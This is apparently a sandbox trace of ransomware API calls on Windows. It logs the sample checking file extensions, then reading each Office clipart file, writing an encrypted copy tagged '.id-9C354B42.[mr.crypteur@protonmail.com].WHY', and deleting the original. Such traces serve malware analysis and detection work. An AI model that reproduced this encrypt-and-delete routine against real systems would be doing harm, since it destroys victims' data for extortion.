[0242.172] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.173] lstrlenW (lpString=".jpg") returned 4 [0242.173] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0242.173] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0242.173] lstrlenW (lpString="AN00015_.WMF") returned 12 [0242.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.201] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=4734) returned 1 [0242.201] CloseHandle (hObject=0x3b0) returned 1 [0242.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0242.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0242.749] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.749] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.879] GetLastError () returned 0x0 [0242.879] ReadFile (in: hFile=0x3a4, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x127e, lpOverlapped=0x0) returned 1 [0242.902] WriteFile (in: hFile=0x384, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x1280, lpOverlapped=0x0) returned 1 [0242.905] ReadFile (in: hFile=0x3a4, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.905] WriteFile (in: hFile=0x384, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.906] SetEndOfFile (hFile=0x384) returned 1 [0242.912] CloseHandle (hObject=0x384) returned 1 [0242.922] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.922] SetEndOfFile (hFile=0x3a4) returned 1 [0242.954] CloseHandle (hObject=0x3a4) returned 1 [0242.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0246.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0246.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.106] lstrlenW (lpString=".doc") returned 4 [0246.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.106] lstrlenW (lpString=".docx") returned 5 [0246.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.106] lstrlenW (lpString=".pdf") returned 4 [0246.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.106] lstrlenW (lpString=".xls") returned 4 [0246.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.106] lstrlenW (lpString=".xlsx") returned 5 [0246.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.106] lstrlenW (lpString=".ppt") returned 4 [0246.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.107] lstrlenW (lpString=".zip") returned 4 [0246.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.107] lstrlenW (lpString=".rar") returned 4 [0246.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.107] lstrlenW (lpString=".bz2") returned 4 [0246.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.107] lstrlenW (lpString=".7z") returned 3 [0246.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.107] lstrlenW (lpString=".dbf") returned 4 [0246.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.107] lstrlenW (lpString=".1cd") returned 4 [0246.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.108] lstrlenW (lpString=".jpg") returned 4 [0246.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.108] lstrlenW (lpString=".doc") returned 4 [0246.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.108] lstrlenW (lpString=".docx") returned 5 [0246.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.108] lstrlenW (lpString=".pdf") returned 4 [0246.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.108] lstrlenW (lpString=".xls") returned 4 [0246.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.109] lstrlenW (lpString=".xlsx") returned 5 [0246.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.109] lstrlenW (lpString=".ppt") returned 4 [0246.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.109] lstrlenW (lpString=".zip") returned 4 [0246.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.109] lstrlenW (lpString=".rar") returned 4 [0246.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.109] lstrlenW (lpString=".bz2") returned 4 [0246.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.109] lstrlenW (lpString=".7z") returned 3 [0246.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.110] lstrlenW (lpString=".dbf") returned 4 [0246.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.110] lstrlenW (lpString=".1cd") returned 4 [0246.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0246.110] lstrlenW (lpString=".jpg") returned 4 [0246.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.111] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0246.111] lstrlenW (lpString="AN01174_.WMF") returned 12 [0246.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.112] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=27858) returned 1 [0246.112] CloseHandle (hObject=0x354) returned 1 [0246.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0246.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0246.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.116] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.116] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0246.117] GetLastError () returned 0x0 [0246.117] ReadFile (in: hFile=0x354, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0246.132] WriteFile (in: hFile=0x3ac, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0246.136] ReadFile (in: hFile=0x354, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.136] WriteFile (in: hFile=0x3ac, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.136] SetEndOfFile (hFile=0x3ac) returned 1 [0246.137] CloseHandle (hObject=0x3ac) returned 1 [0246.139] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.139] SetEndOfFile (hFile=0x354) returned 1 [0246.493] CloseHandle (hObject=0x354) returned 1 [0246.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0246.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0247.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.004] lstrlenW (lpString=".doc") returned 4 [0247.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.004] lstrlenW (lpString=".docx") returned 5 [0247.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.009] lstrlenW (lpString=".pdf") returned 4 [0247.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.010] lstrlenW (lpString=".xls") returned 4 [0247.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.010] lstrlenW (lpString=".xlsx") returned 5 [0247.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.010] lstrlenW (lpString=".ppt") returned 4 [0247.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.010] lstrlenW (lpString=".zip") returned 4 [0247.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.010] lstrlenW (lpString=".rar") returned 4 [0247.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.010] lstrlenW (lpString=".bz2") returned 4 [0247.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.011] lstrlenW (lpString=".7z") returned 3 [0247.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.011] lstrlenW (lpString=".dbf") returned 4 [0247.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.011] lstrlenW (lpString=".1cd") returned 4 [0247.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.011] lstrlenW (lpString=".jpg") returned 4 [0247.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.012] lstrlenW (lpString=".doc") returned 4 [0247.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.012] lstrlenW (lpString=".docx") returned 5 [0247.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.012] lstrlenW (lpString=".pdf") returned 4 [0247.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.012] lstrlenW (lpString=".xls") returned 4 [0247.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.012] lstrlenW (lpString=".xlsx") returned 5 [0247.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.013] lstrlenW (lpString=".ppt") returned 4 [0247.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.013] lstrlenW (lpString=".zip") returned 4 [0247.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.013] lstrlenW (lpString=".rar") returned 4 [0247.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.013] lstrlenW (lpString=".bz2") returned 4 [0247.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.013] lstrlenW (lpString=".7z") returned 3 [0247.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.013] lstrlenW (lpString=".dbf") returned 4 [0247.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.014] lstrlenW (lpString=".1cd") returned 4 [0247.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0247.014] lstrlenW (lpString=".jpg") returned 4 [0247.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.014] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0247.015] lstrlenW (lpString="AN01216_.WMF") returned 12 [0247.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0247.015] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=5836) returned 1 [0247.016] CloseHandle (hObject=0x3a4) returned 1 [0247.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0247.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0247.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0247.017] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.017] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0247.018] GetLastError () returned 0x0 [0247.018] ReadFile (in: hFile=0x3a4, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x16cc, lpOverlapped=0x0) returned 1 [0247.071] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0247.074] ReadFile (in: hFile=0x3a4, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.074] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.075] SetEndOfFile (hFile=0x394) returned 1 [0247.427] CloseHandle (hObject=0x394) returned 1 [0247.430] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.430] SetEndOfFile (hFile=0x3a4) returned 1 [0247.955] CloseHandle (hObject=0x3a4) returned 1 [0247.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0248.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0248.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.223] lstrlenW (lpString=".doc") returned 4 [0248.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.223] lstrlenW (lpString=".docx") returned 5 [0248.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.223] lstrlenW (lpString=".pdf") returned 4 [0248.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.223] lstrlenW (lpString=".xls") returned 4 [0248.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.224] lstrlenW (lpString=".xlsx") returned 5 [0248.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.224] lstrlenW (lpString=".ppt") returned 4 [0248.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.224] lstrlenW (lpString=".zip") returned 4 [0248.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.224] lstrlenW (lpString=".rar") returned 4 [0248.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.224] lstrlenW (lpString=".bz2") returned 4 [0248.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.224] lstrlenW (lpString=".7z") returned 3 [0248.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.225] lstrlenW (lpString=".dbf") returned 4 [0248.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.225] lstrlenW (lpString=".1cd") returned 4 [0248.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.225] lstrlenW (lpString=".jpg") returned 4 [0248.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.225] lstrlenW (lpString=".doc") returned 4 [0248.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.226] lstrlenW (lpString=".docx") returned 5 [0248.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.226] lstrlenW (lpString=".pdf") returned 4 [0248.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.226] lstrlenW (lpString=".xls") returned 4 [0248.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.226] lstrlenW (lpString=".xlsx") returned 5 [0248.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.226] lstrlenW (lpString=".ppt") returned 4 [0248.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.226] lstrlenW (lpString=".zip") returned 4 [0248.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.227] lstrlenW (lpString=".rar") returned 4 [0248.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.227] lstrlenW (lpString=".bz2") returned 4 [0248.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.227] lstrlenW (lpString=".7z") returned 3 [0248.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.227] lstrlenW (lpString=".dbf") returned 4 [0248.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.227] lstrlenW (lpString=".1cd") returned 4 [0248.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0248.228] lstrlenW (lpString=".jpg") returned 4 [0248.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.228] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0248.228] lstrlenW (lpString="AN01545_.WMF") returned 12 [0248.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 